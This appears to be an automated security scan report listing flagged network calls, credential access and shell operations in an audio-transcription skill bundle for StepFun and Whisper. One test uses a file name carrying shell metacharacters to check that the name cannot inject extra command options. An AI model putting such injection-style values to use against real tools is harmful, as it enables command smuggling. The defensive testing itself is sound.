    sdist = { url = "https://files.pythonhosted.org/packages/31/33/ebe9e3d1f86c7a0b51094c0a146392045ca1631d2664889539dec8088a33/yarl-1.24.5.tar.gz", hash = "sha256:e81b83143bee16329c23db3c1b2d82b29892fcbcb849186d2f6e98a5abe9a57f", size = 228679
  • Network accessline 1739
    wheels = [     { url = "https://files.pythonhosted.org/packages/e1/63/64ef361967cc983573149dc1515d531db5da8a4c92d22bb833d59e01b313/yarl-1.24.5-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:79af890482fc94648e8cde4c68620378f7fef609
  • Network accessline 1740
    { url = "https://files.pythonhosted.org/packages/e1/63/64ef361967cc983573149dc1515d531db5da8a4c92d22bb833d59e01b313/yarl-1.24.5-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:79af890482fc94648e8cde4c68620378f7fef60932710fa17a66abc
  • Network accessline 1741
    { url = "https://files.pythonhosted.org/packages/bb/89/55920fd853ce43e608adbc3962456f0d649d6bb15250dc2988321da0fe1c/yarl-1.24.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:46c2f213e23a04b93a392942d782eb9e413e6ef6bf7c8c53884e599a5c1
  • Network accessline 1742
    { url = "https://files.pythonhosted.org/packages/15/f0/7688d3f2cfff7590df2af38ec46d969f4281a4dddb08a9ad2eafbcdddf98/yarl-1.24.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:92ab3e11448f2ff7bf53c5a26eff0edc086898ec8b21fb154b85839ce1d88
  • Network accessline 1743
    { url = "https://files.pythonhosted.org/packages/05/1a/a851a0f94aaaf379dd4f901bfc80f634280bec51eb260b47363e2a4cd62e/yarl-1.24.5-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ebb0ec7f178
  • Network accessline 1744
    { url = "https://files.pythonhosted.org/packages/6c/a8/faea066c12f9c77ca0de90641f1655f9dd7b412477bf28c76d692f3aecff/yarl-1.24.5-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:82632daed195dc
  • Network accessline 1745
    { url = "https://files.pythonhosted.org/packages/fb/9c/1e67084c2a6e2f2db0e3be798328cb3be42c0119b621d25461479a224d21/yarl-1.24.5-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:53e549287ef
  • Network accessline 1746
    { url = "https://files.pythonhosted.org/packages/58/86/1f94664e147474337e3359f52012cf3d02f825f694317b178bfba1078c62/yarl-1.24.5-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fcd3b77e2f17bbe4c
  • Network accessline 1747
    { url = "https://files.pythonhosted.org/packages/0a/43/8e55ae7538ba5f28ccb3c845c6dd4549cf7016d5992e5326512519107cdd/yarl-1.24.5-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d46b86567dd4e2
  • Network accessline 1748
    { url = "https://files.pythonhosted.org/packages/ce/ba/a889ec8765cedcf2ac44dcb02d6a21e4861399b243b263c5f2dde27ee740/yarl-1.24.5-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:7f72c74aa99359e27a2ee8d6613fefa28
  • Network accessline 1749
    { url = "https://files.pythonhosted.org/packages/9c/c3/e45f821af67b791c2dbbe4a9f4137a1d33f8d386654a05a0c3f47bdfa25d/yarl-1.24.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3f45789ce415a7ec0820dc4f82925f9b5f7732070be1dec1f5f23ec38
  • Network accessline 1750
    { url = "https://files.pythonhosted.org/packages/02/00/2ab0f42c9857fcb490bfaa6647b14540b53d241ab209f23220b958cc5832/yarl-1.24.5-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:6e73e7fe93f17a7b191f52ec9da9dd8c06a8fe735a1ecbd13b97d1c723
  • Network accessline 1751
    { url = "https://files.pythonhosted.org/packages/7a/70/709d9a286e98af2c7fd8e4e6cada658b5c0e30d87dd7e2a63c2fb5767217/yarl-1.24.5-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4a36f9becdd4c5c52a20c3e9484128b070b1dcfc8944c006f3a528295
  • Network accessline 1752
    { url = "https://files.pythonhosted.org/packages/5c/6c/3eaa515142991fe84cfc483ff986492211f1978f90161ccefdbec919d09b/yarl-1.24.5-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:7bcbe0fcf850eae67b6b01749815a4f7161c560a844c769ad7b48fcd9
  • Network accessline 1753
    { url = "https://files.pythonhosted.org/packages/bb/64/711dafce66c323a3144d470547a71c5384c57623308ac8bb5e4b903ac148/yarl-1.24.5-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:24e861e9630e0daddcb9191fb187f60f034e17a4426f8101279f0c475cd
  • Network accessline 1754
    { url = "https://files.pythonhosted.org/packages/cf/f3/9b9d0e6d84bea851eb1ba99e4bdc755b86fd813e49ec86dfe42f26befdef/yarl-1.24.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9335a099ad87287c37fe5d1a982ff392fa5efe5d14b40a730b1ec1d6a4
  • Network accessline 1755
    { url = "https://files.pythonhosted.org/packages/86/e4/62a06b7e87c4246ac76b7c2da136f972eb4a3a1fc94abb07e7022d6fdb0a/yarl-1.24.5-cp313-cp313-win_amd64.whl", hash = "sha256:2dbe06fc16bc91502bca713704022182e5729861ae00277c3a23354b40929740", si
  • Network accessline 1756
    { url = "https://files.pythonhosted.org/packages/9e/c9/5fc8025b318ab10db413b61056bd0d95c557a70e8df4210c7511f866329c/yarl-1.24.5-cp313-cp313-win_arm64.whl", hash = "sha256:6b8536851f9f65e7f00c7a1d49ba7f2be0ffe2c11555367fc9f50d9f842410a1", si
  • Network accessline 1757
    { url = "https://files.pythonhosted.org/packages/61/02/962c1cbfc401a30c1d034dc67ff395f64b52302c6d62de556c1fca99acc0/yarl-1.24.5-py3-none-any.whl", hash = "sha256:a33700d13d9b7d84fd10947b09ff69fb9a792e519c8cb9764a3ca70baa6c23a7", size = 5861

daymade-audio/asr-transcribe-to-text/scripts/speaker_transcribe_cascade.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/transcribe_local_mlx.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/scripts/transcribe_long_whispercpp.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/asr-transcribe-to-text/scripts/transcribe_remote.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 52
    result = subprocess.run(command, capture_output=True, text=True)         if result.returncode:             raise RuntimeError(f"ASR request failed (curl exit {result.returncode})")
  • Network accessline 53
    if result.returncode:             raise RuntimeError(f"ASR request failed (curl exit {result.returncode})")         if Path(name).stat().st_size > 64 * 1024 * 1024:
  • Network accessline 54
    raise RuntimeError(f"ASR request failed (curl exit {result.returncode})")
  • Network accessline 74
    or not math.isfinite(health_timeout) or health_timeout <= 0):         raise ValueError("health_timeout must be a finite positive number")     value = fetch(health_url, {**cfg, "max_timeout": health_timeout})
  • Network accessline 75
    raise ValueError("health_timeout must be a finite positive number")     value = fetch(health_url, {**cfg, "max_timeout": health_timeout})     model, device = value.get("model_loaded"), value.get("device")
  • Network accessline 76
    value = fetch(health_url, {**cfg, "max_timeout": health_timeout})
  • Network accessline 121
    # Curl multipart paths must not be interpreted as additional form options.

daymade-audio/asr-transcribe-to-text/scripts/voiceprint_id.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 49
    [Credential-related source omitted]

daymade-audio/asr-transcribe-to-text/scripts/word_timestamps_whisper.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/tests/test_alignment_turns.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/tests/test_execution_evidence.py

  • Executable scriptline 1
    Executable file
  • Network accessline 21
    source, text = Path(folder) / "s.wav", Path(folder) / "out.txt"             source.write_bytes(b"synthetic-audio")             cfg = {"endpoint": "http://example.invalid/transcribe", "model": "alias",
  • Network accessline 22
    source.write_bytes(b"synthetic-audio")             cfg = {"endpoint": "http://example.invalid/transcribe", "model": "alias",                    "health_url": "http://example.invalid/health", "self_hosted": True,
  • Network accessline 23
    cfg = {"endpoint": "http://example.invalid/transcribe", "model": "alias",
  • Network accessline 24
    "health_url": "http://example.invalid/health", "self_hosted": True,
  • Network accessline 40
    pass             def do_GET(self):                 requests.append(("GET", self.path))
  • Network accessline 41
    def do_GET(self):                 requests.append(("GET", self.path))                 self.send_response(200)
  • Network accessline 42
    requests.append(("GET", self.path))
  • Network accessline 46
    "device": "cuda"}).encode())             def do_POST(self):                 requests.append(("POST", self.path))
  • Network accessline 47
    def do_POST(self):                 requests.append(("POST", self.path))                 body = self.rfile.read(int(self.headers["Content-Length"]))
  • Network accessline 48
    requests.append(("POST", self.path))
  • Network accessline 51
    self.end_headers()                 self.wfile.write(json.dumps({"text": "synthetic fixture speech"}).encode())                 requests.append(("BODY", body))
  • Network accessline 52
    self.wfile.write(json.dumps({"text": "synthetic fixture speech"}).encode())                 requests.append(("BODY", body))         server = HTTPServer(("127.0.0.1", 0), Handler)
  • Network accessline 53
    requests.append(("BODY", body))
  • Network accessline 59
    source = Path(folder) / 'source ; quoted " test.wav'                 source.write_bytes(b"synthetic-audio")                 base = f"http://127.0.0.1:{server.server_port}"
  • Network accessline 60
    source.write_bytes(b"synthetic-audio")                 base = f"http://127.0.0.1:{server.server_port}"                 result = remote.transcribe(source, Path(folder) / "out.txt", {
  • Network accessline 61
    base = f"http://127.0.0.1:{server.server_port}"
  • Dangerous shell operationline 112
    exec(compile(ast.Module(body=[node], type_ignores=[]), "gpu_guard", "exec"), namespace)
  • Network accessline 123
    def test_self_hosted_requires_actual_cuda_not_configured_model(self):         cfg = {"health_url": "http://example.invalid/health", "self_hosted": True,
  • Network accessline 124
    cfg = {"health_url": "http://example.invalid/health", "self_hosted": True,
  • Network accessline 143
    source, text = Path(folder) / "input.wav", Path(folder) / "text.txt"             source.write_bytes(b"synthetic-audio")             cfg = {"endpoint": "http://example.invalid/transcriptions", "model": "alias",
  • Network accessline 144
    source.write_bytes(b"synthetic-audio")             cfg = {"endpoint": "http://example.invalid/transcriptions", "model": "alias",                    "health_url": "http://example.invalid/health", "self_hosted": True}
  • Network accessline 145
    cfg = {"endpoint": "http://example.invalid/transcriptions", "model": "alias",
  • Network accessline 146
    "health_url": "http://example.invalid/health", "self_hosted": True}             health = {"status": "ok", "model_loaded": "actual", "device": "cuda"}             with patch.object(remote, "curl_json", side_effect=[health, {"text": "test spe
  • Network accessline 170
    source, text = Path(folder) / "input.wav", Path(folder) / "text.txt"             source.write_bytes(b"synthetic-audio")             cfg = {"endpoint": "http://example.invalid/transcriptions", "model": "alias"}
  • Network accessline 171
    source.write_bytes(b"synthetic-audio")             cfg = {"endpoint": "http://example.invalid/transcriptions", "model": "alias"}             with patch.object(remote, "curl_json", return_value={"error": "failed"}):
  • Network accessline 172
    cfg = {"endpoint": "http://example.invalid/transcriptions", "model": "alias"}
  • Network accessline 175
    remote.transcribe(source, text, cfg)             self.assertFalse(text.exists())             cfg.update(health_url="http://example.invalid/health", self_hosted=True)
  • Network accessline 176
    self.assertFalse(text.exists())             cfg.update(health_url="http://example.invalid/health", self_hosted=True)             with patch.object(remote, "curl_json", side_effect=[
  • Network accessline 177
    cfg.update(health_url="http://example.invalid/health", self_hosted=True)

daymade-audio/asr-transcribe-to-text/tests/test_long_audio_safety.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/tests/test_skill_delivery_contract.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/tests/test_speaker_bundle_time_contract.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/tests/test_whispercpp_fusion.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/tests/test_whispercpp_gpu.py

  • Executable scriptline 1
    Executable file

daymade-audio/asr-transcribe-to-text/tests/test_whispercpp_long_audio.py

  • Executable scriptline 1
    Executable file

daymade-audio/stepfun-asr/SKILL.md

  • Network accessline 21
    2. **Subscription endpoint vs wallet endpoint**. Step Plan supports `stepaudio-2.5-asr` at `https://api.stepfun.com/step_plan/v1/audio/asr/sse`; the wallet endpoint serves `stepaudio-3-asr-max`. Choose the endpoint and supported model toget
  • Network accessline 21
    2. **Subscription endpoint vs wallet endpoint**. Step Plan supports `stepaudio-2.5-asr` at `https://api.stepfun.com/step_plan/v1/audio/asr/sse`; the wallet endpoint serves `stepaudio-3-asr-max`. Choose the endpoint and supported model toget
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Network accessline 34
    quality is unavailable there, or the task requires higher concurrency. Record the reason and actual route; this script never retries against the wallet automatically. Read current support at [Step Plan audio integration](https://platform.st
  • Network accessline 34
    quality is unavailable there, or the task requires higher concurrency. Record the reason and actual route; this script never retries against the wallet automatically. Read current support at [Step Plan audio integration](https://platform.st
  • Network accessline 36
    Read current support at [Step Plan audio integration](https://platform.stepfun.com/docs/zh/step-plan/integrations/audio-api).
  • Network accessline 36
    Read current support at [Step Plan audio integration](https://platform.stepfun.com/docs/zh/step-plan/integrations/audio-api).
  • Network accessline 41
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 42
    --endpoint https://api.stepfun.com/step_plan/v1/audio/asr/sse \
  • Network accessline 42
    --endpoint https://api.stepfun.com/step_plan/v1/audio/asr/sse \
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 58
    Reuse an existing authorized Step API Key or its configured environment first. If none is available, ask for configuration; do not guess or use a placeholder. Get keys at https://platform.stepfun.com/ → API Keys. Use the subscription endpoi
  • Network accessline 58
    Reuse an existing authorized Step API Key or its configured environment first. If none is available, ask for configuration; do not guess or use a placeholder. Get keys at https://platform.stepfun.com/ → API Keys. Use the subscription endpoi
  • Network accessline 59
    If none is available, ask for configuration; do not guess or use a placeholder. Get keys at https://platform.stepfun.com/ → API Keys. Use the subscription endpoint for Plan Credit and the wallet endpoint for pay-as-you-go billing.
  • Network accessline 59
    If none is available, ask for configuration; do not guess or use a placeholder. Get keys at https://platform.stepfun.com/ → API Keys. Use the subscription endpoint for Plan Credit and the wallet endpoint for pay-as-you-go billing.
  • Network accessline 60
    Get keys at https://platform.stepfun.com/ → API Keys. Use the subscription endpoint
  • Network accessline 60
    Get keys at https://platform.stepfun.com/ → API Keys. Use the subscription endpoint
  • Network accessline 122
    python3 scripts/asr_file.py https://example.com/talk.mp3
  • Network accessline 122
    python3 scripts/asr_file.py https://example.com/talk.mp3
  • Network accessline 206
    current prices and actual account usage before quoting costs; a Studio points display does not by itself establish which funding account was charged. Source: https://platform.stepfun.com/docs/zh/guides/pricing/details.
  • Network accessline 206
    current prices and actual account usage before quoting costs; a Studio points display does not by itself establish which funding account was charged. Source: https://platform.stepfun.com/docs/zh/guides/pricing/details.
  • Network accessline 208
    Source: https://platform.stepfun.com/docs/zh/guides/pricing/details.
  • Network accessline 208
    Source: https://platform.stepfun.com/docs/zh/guides/pricing/details.

daymade-audio/stepfun-asr/references/api_reference.md

  • Network accessline 8
    POST https://api.stepfun.com/v1/audio/asr/sse
  • Access to secretsline 11
    [Credential-related source omitted]
  • Network accessline 100
    [Credential-related source omitted]
  • Network accessline 101
    - Keys can be retrieved at https://platform.stepfun.com/ → API Keys
  • Network accessline 102
    - Step Plan supports `stepaudio-2.5-asr` at `https://api.stepfun.com/step_plan/v1/audio/asr/sse`. Use that exact endpoint/model pair for subscription billing; `stepaudio-3-asr-max` uses the wallet endpoint. Verify current entitlement at [St
  • Network accessline 117
    {"audio":   {"format":"mp3","channel":1,"url":"https://public.example.com/a.mp3"},

daymade-audio/stepfun-asr/references/known_issues.md

  • Network accessline 69
    Step Plan supports ASR: `stepaudio-2.5-asr` through HTTP SSE at `https://api.stepfun.com/step_plan/v1/audio/asr/sse`. The wallet model
  • Network accessline 70
    `https://api.stepfun.com/step_plan/v1/audio/asr/sse`. The wallet model
  • Network accessline 74
    Use the caller's authorized subscription first and keep any wallet fallback explicit. Current authority: [Step Plan audio integration](https://platform.stepfun.com/docs/zh/step-plan/integrations/audio-api).
  • Network accessline 75
    Current authority: [Step Plan audio integration](https://platform.stepfun.com/docs/zh/step-plan/integrations/audio-api).
  • Network accessline 91
    Read the current prices at https://platform.stepfun.com/docs/zh/guides/pricing/details. Plan requests consume subscription Credit; wallet requests use the separate pay-as-you-go
  • Network accessline 173
    第三次成功。一次失败就断定 URL 不可用是错的;真正不可用的 URL 是 3/3 全败    (下面两条都复测过三次)。 3. **不跟随跳转。** `https://github.com/<o>/<r>/raw/<b>/<f>` 3/3 失败,
  • Network accessline 174
    (下面两条都复测过三次)。 3. **不跟随跳转。** `https://github.com/<o>/<r>/raw/<b>/<f>` 3/3 失败,    换成 `https://raw.githubusercontent.com/<o>/<r>/<b>/<f>` 即成功。
  • Network accessline 175
    3. **不跟随跳转。** `https://github.com/<o>/<r>/raw/<b>/<f>` 3/3 失败,
  • Network accessline 176
    换成 `https://raw.githubusercontent.com/<o>/<r>/<b>/<f>` 即成功。
  • Network accessline 178
    **base64 与 StepFun 自家文件存储都走不通**,2026-09-18 实测,不要再试: `audio.data` → `FAILED / audio_download / invalid audio url`; `https://api.stepfun.com/v1/files/<id>/content`(先传到 StepFun files,`purpose=storage`)→ 3/3 `failed to download audio`;
  • Network accessline 179
    `audio.data` → `FAILED / audio_download / invalid audio url`; `https://api.stepfun.com/v1/files/<id>/content`(先传到 StepFun files,`purpose=storage`)→ 3/3 `failed to download audio`; 官方文档明确 `files/{id}/content` 只对 `purpose=file-extract` 的文件返回*
  • Network accessline 180
    `https://api.stepfun.com/v1/files/<id>/content`(先传到 StepFun files,`purpose=storage`)→ 3/3 `failed to download audio`;

daymade-audio/stepfun-asr/scripts/asr_file.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    python3 asr_file.py https://example.com/talk.mp3 --json > out.json
  • Network accessline 25
    BASE = "https://api.stepfun.com/v1/audio/asr/file"
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 41
    def _post(path: str, obj: dict[str, Any], key: str, timeout: int = 300) -> dict[str, Any]:     req = urllib.request.Request(
  • Network accessline 42
    req = urllib.request.Request(
  • Network accessline 44
    [Credential-related source omitted]
  • Network accessline 45
    try:         with urllib.request.urlopen(req, timeout=timeout) as r:             return json.loads(r.read())
  • Network accessline 46
    with urllib.request.urlopen(req, timeout=timeout) as r:

daymade-audio/stepfun-asr/scripts/asr_transcribe.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 5
    Endpoint: POST https://api.stepfun.com/v1/audio/asr/sse (NOT /v1/audio/transcriptions)
  • Network accessline 40
    ASR_URL = "https://api.stepfun.com/v1/audio/asr/sse"
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 160
    }     ).encode()     req = urllib.request.Request(
  • Network accessline 161
    ).encode()     req = urllib.request.Request(         endpoint,
  • Network accessline 162
    req = urllib.request.Request(
  • Access to secretsline 167
    [Credential-related source omitted]
  • Network accessline 172
    t0 = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 173
    try:         with urllib.request.urlopen(req, timeout=timeout) as resp:             raw = resp.read().decode("utf-8", errors="replace")
  • Network accessline 174
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Access to secretsline 242
    [Credential-related source omitted]
  • Access to secretsline 243
    [Credential-related source omitted]
  • Access to secretsline 258
    [Credential-related source omitted]
  • Access to secretsline 261
    [Credential-related source omitted]

daymade-audio/stepfun-asr/scripts/check_params.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 22
    DOC_URL = "https://stepfun.mintlify.app/zh/api-reference/audio/asr-sse"
  • Network accessline 48
    def fetch() -> str:
  • Network accessline 55
    try:         doc = documented_fields(fetch())
  • Network accessline 56
    doc = documented_fields(fetch())
  • Network accessline 83
    return selftest()     try:         page = fetch()
  • Network accessline 84
    try:         page = fetch()     except Exception as e:  # noqa: BLE001
  • Network accessline 85
    page = fetch()

daymade-audio/stepfun-asr/tests/test_routes.py

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    asr = importlib.util.module_from_spec(SPEC) SPEC.loader.exec_module(asr) PLAN_URL = "https://api.stepfun.com/step_plan/v1/audio/asr/sse"
  • Network accessline 18
    PLAN_URL = "https://api.stepfun.com/step_plan/v1/audio/asr/sse"
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

daymade-audio/stepfun-tts/SKILL.md

  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 35
    If the user hasn't set a key, ask them to paste it (don't guess / don't use a placeholder). StepFun API keys are available at https://platform.stepfun.com/ → API Keys. **Use a Normal key, not a Plan key** (Plan keys are restricted to text m
  • Network accessline 35
    If the user hasn't set a key, ask them to paste it (don't guess / don't use a placeholder). StepFun API keys are available at https://platform.stepfun.com/ → API Keys. **Use a Normal key, not a Plan key** (Plan keys are restricted to text m
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 109
    Re-verify at https://platform.stepfun.com/docs/zh/guides/pricing/details before quoting to stakeholders.
  • Network accessline 109
    Re-verify at https://platform.stepfun.com/docs/zh/guides/pricing/details before quoting to stakeholders.

daymade-audio/stepfun-tts/references/api_reference.md

  • Network accessline 8
    POST https://api.stepfun.com/v1/audio/speech
  • Access to secretsline 10
    [Credential-related source omitted]
  • Network accessline 86
    [Credential-related source omitted]
  • Network accessline 87
    - Keys can be retrieved at https://platform.stepfun.com/ → API Keys

daymade-audio/stepfun-tts/references/known_issues.md

  • Network accessline 59
    Zero-shot voice cloning (`9.9 元/音色`) is advertised as a headline feature but was not verified in this skill's test pass. If you need voice cloning, check the StepFun docs at https://platform.stepfun.com/docs/zh/api-reference/audio/create-vo

daymade-audio/stepfun-tts/references/migration_from_v2.md

  • Dangerous shell operationline 176
    - [ ] Write a rollback script: `rm -rf zh_v25/` + revert loader change. If it's more than one commit, you've leaked complexity into the codebase

daymade-audio/stepfun-tts/scripts/ab_compare.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-audio/stepfun-tts/scripts/tts_generate.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 5
    Endpoint: POST https://api.stepfun.com/v1/audio/speech
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 38
    API_URL = "https://api.stepfun.com/v1/audio/speech"
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 59
    "ERROR: no API key found.\n"         "  Set $STEPFUN_API_KEY, or create ${CLAUDE_PLUGIN_DATA}/config.json with {\"api_key\": \"...\"}\n"         "  Get a key at https://platform.stepfun.com/ → API Keys",
  • Network accessline 60
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Network accessline 61
    "  Get a key at https://platform.stepfun.com/ → API Keys",
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 106
    req = urllib.request.Request(
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 114
    )     try:         with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 115
    try:         with urllib.request.urlopen(req, timeout=timeout) as resp:             payload = resp.read()
  • Network accessline 116
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]

daymade-audio/transcript-fixer/CHANGELOG.md

  • Network accessline 7
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
  • Network accessline 8
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Network accessline 113
    - **The by-hand fallback's URL extraction was more brittle than the script it substitutes for.** It piped `--url-only` straight into `json.load(sys.stdin)`, while the script deliberately isolates the JSON object because the CLI may print pr
  • Network accessline 114
    - **An override could write the answer the human REJECTED into the dictionary.** `resolve(..., "overridden")` retargets file edits to the human's text and drops suggestion-specific actions (`dict_add` / `append_note`) — but the whole block 
  • Network accessline 115
    - **`fetch_minute_audio.py` reported operational failures as timeline mismatches.** Every hard failure — lark-cli erroring, an unparseable envelope, **a `--profile` that cannot read the minute**, curl failing, a too-small download — exited 
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 198
    [Unreleased]: https://github.com/daymade/skills/compare/daymade-audio-v1.2.1...HEAD
  • Network accessline 199
    [1.2.1]: https://github.com/daymade/skills/releases/tag/daymade-audio-v1.2.1

daymade-audio/transcript-fixer/references/architecture.md

  • Network accessline 630
    The repository's [CI suite registry](https://github.com/daymade/claude-code-skills/blob/main/scripts/ci/test-suites.txt)
  • Network accessline 631
    defines admission and registered suites; its [dispatcher](https://github.com/daymade/claude-code-skills/blob/main/scripts/ci/run_registered_tests.sh) owns execution. These are maintainer resources outside the installed Skill bundle.
  • Network accessline 632
    [dispatcher](https://github.com/daymade/claude-code-skills/blob/main/scripts/ci/run_registered_tests.sh)
  • Access to secretsline 704
    [Credential-related source omitted]
  • Access to secretsline 795
    [Credential-related source omitted]
  • Access to secretsline 805
    [Credential-related source omitted]
  • Network accessline 828
    - SOLID Principles: https://en.wikipedia.org/wiki/SOLID
  • Network accessline 829
    - API Patterns: `references/glm_api_setup.md` - File Formats: `references/file_formats.md` - Testing: https://docs.pytest.org/
  • Network accessline 831
    - Testing: https://docs.pytest.org/

daymade-audio/transcript-fixer/references/best_practices.md

  • Access to secretsline 386
    [Credential-related source omitted]
  • Access to secretsline 400
    [Credential-related source omitted]

daymade-audio/transcript-fixer/references/dictionary_identity_and_context.md

  • Network accessline 230
    curl -s --noproxy '*' -G --data-urlencode "keyword=<群名>" \

daymade-audio/transcript-fixer/references/glm_api_setup.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 55
    # 自定义端点(高级) export ANTHROPIC_BASE_URL="https://open.bigmodel.cn/api/anthropic"
  • Network accessline 56
    export ANTHROPIC_BASE_URL="https://open.bigmodel.cn/api/anthropic"
  • Access to secretsline 80
    [Credential-related source omitted]
  • Network accessline 94
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Network accessline 95
    url = "https://open.bigmodel.cn/api/anthropic/v1/messages"
  • Access to secretsline 98
    [Credential-related source omitted]
  • Network accessline 109
    with httpx.Client(timeout=60.0, http2=False) as client:
  • Network accessline 119
    1. 访问 https://open.bigmodel.cn/
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]

daymade-audio/transcript-fixer/references/installation_setup.md

  • Network accessline 19
    所有入口都通过 `uv run` 执行;需要第三方 Python 包的主入口用 PEP 723 声明依赖,只使用标准库或仓内模块的工具可以没有 metadata block。安装 [uv](https://docs.astral.sh/uv/getting-started/installation/) 后,下面的主 CLI 会自动准备依赖。
  • Network accessline 21
    [uv](https://docs.astral.sh/uv/getting-started/installation/) 后,下面的主 CLI 会自动准备依赖。
  • Network accessline 63
    1. **Obtain API key**: Visit https://open.bigmodel.cn/
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 114
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Network accessline 116
    export ANTHROPIC_BASE_URL="https://open.bigmodel.cn/api/anthropic"
  • Access to secretsline 120
    [Credential-related source omitted]

daymade-audio/transcript-fixer/references/native_action_details.md

  • Access to secretsline 227
    [Credential-related source omitted]

daymade-audio/transcript-fixer/references/native_review_packets.md

  • Network accessline 172
    - [Anthropic Skill authoring: verifiable intermediate outputs](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices#create-verifiable-intermediate-outputs)
